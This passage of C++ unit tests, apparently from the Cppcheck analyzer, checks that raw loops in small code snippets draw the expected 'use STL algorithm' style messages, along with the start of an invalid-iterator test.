[useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = f();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" f();\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" f();\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There should probably be a message for unconditional break\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoAccumulateAssign() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b &= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b |= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b && f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b || f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int& x:v)\\n\"\n \" n = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::size_t f(const std::map& m) {\\n\" // #10412\n \" std::size_t t = 0;\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); ++i) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); i++) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" return t; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:7:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int g(const std::vector& v) {\\n\"\n \" int t = 0;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" t += *i;\\n\"\n \" }\\n\"\n \" return t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"auto g(const std::vector& v) {\\n\"\n \" std::vector::iterator> r;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" r.push_back(i);\\n\"\n \" }\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(std::vector v) {\\n\"\n \" std::string ret;\\n\"\n \" for (const std::string& s : v)\\n\"\n \" ret += s + '\\\\n';\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& s) {\\n\"\n \" std::string ret;\\n\"\n \" for (char c : s)\\n\"\n \" if (c != ' ')\\n\"\n \" ret += i;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int sum = 0;\\n\"\n \" for (auto it = v.begin(); it != v.end(); it += 2)\\n\"\n \" sum += *it;\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #12900\n \" int x{};\\n\"\n \" for (const auto i : v)\\n\"\n \" x = dostuff(i);\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #11493\n \" int s = 0;\\n\"\n \" for (std::size_t i = 0; i < v.size(); ++i)\\n\"\n \" s += v[i];\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" s += g(i);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int);\\n\"\n \"int f(const std::vector&v, int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" s += g(i) + v[i];\\n\"\n \" }\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoContainerInsert() {\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(v);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoIncrement() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" ++n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void loopAlgoConditional() {\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::replace_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = x + 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:14]: (style) Consider using std::copy_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f();\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if(b) {}\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b |= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b &= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There is no transform_if\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x++;\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" if(x) { return; }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (!g(i))\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5)\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (style) Consider using std::any_of, std::all_of, std::none_of algorithm instead of a raw loop.\\n\",\n \"\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5) {\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector v0, v1;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void T::g() {\\n\"\n \" for (std::vector::const_iterator it0 = v0.cbegin(); it0 != v0.cend(); ++it0) {\\n\"\n \" std::vector::iterator it1;\\n\"\n \" for (it1 = v1.begin(); it1 != v1.end(); ++it1)\\n\"\n \" if (*it0 == *it1)\\n\"\n \" break;\\n\"\n \" if (it1 != v1.end())\\n\"\n \" v1.erase(it1);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(const std::set& set, const std::string& f) {\\n\" // #11595\n \" for (const std::string& s : set) {\\n\"\n \" if (f.length() >= s.length() && f.compare(0, s.length(), s) == 0) {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #12064\n \" for (const auto& animal : { \\\"cat\\\", \\\"bat\\\", \\\"tiger\\\", \\\"rat\\\" })\\n\"\n \" if (std::strlen(animal) > 4)\\n\"\n \" throw 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& v, const std::vector& w, int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] == w[i])\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (g(i))\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"bool f(const std::vector&v, int n) {\\n\"\n \" bool b{};\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" if (v[i] > 0 && g(i)) {\\n\"\n \" b = true;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoMinMax() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int m) {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > m ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #9091\n \" int maxY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y > maxY)\\n\"\n \" maxY = y;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int minY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y < minY)\\n\"\n \" minY = y;\\n\"\n \" }\\n\"\n \" return minY;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int max = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" max = v[i] > max ? v[i] : max;\\n\"\n \" return max;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int min = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" min = v[i] < min ? v[i] : min;\\n\"\n \" return min;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n }\n\n void loopAlgoMultipleReturn()\n {\n check(\"bool f(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 0)\\n\"\n \" continue;\\n\"\n \" if (i)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return true;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(std::vector& v) {\\n\"\n \" for (auto& i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" j++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int& k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int* k = &j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" (*k)++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"class C {\\n\"\n \"private:\\n\"\n \" QString s;\\n\"\n \"public:\\n\"\n \" C(QString);\\n\"\n \"private:\\n\"\n \" void f() {\\n\"\n \" QVERIFY(QDir(s).exists());\\n\"\n \" }\\n\"\n \" void f(const QStringList& d) {\\n\"\n \" for (QString f : d)\\n\"\n \" QDir(s);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void invalidContainer() {\n check(\"void f(std::vector &v) {\\n\"\n \" auto v0 = v.begin();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << *v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:22] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"std::string e();\\n\"\n \"void a() {\\n\"\n 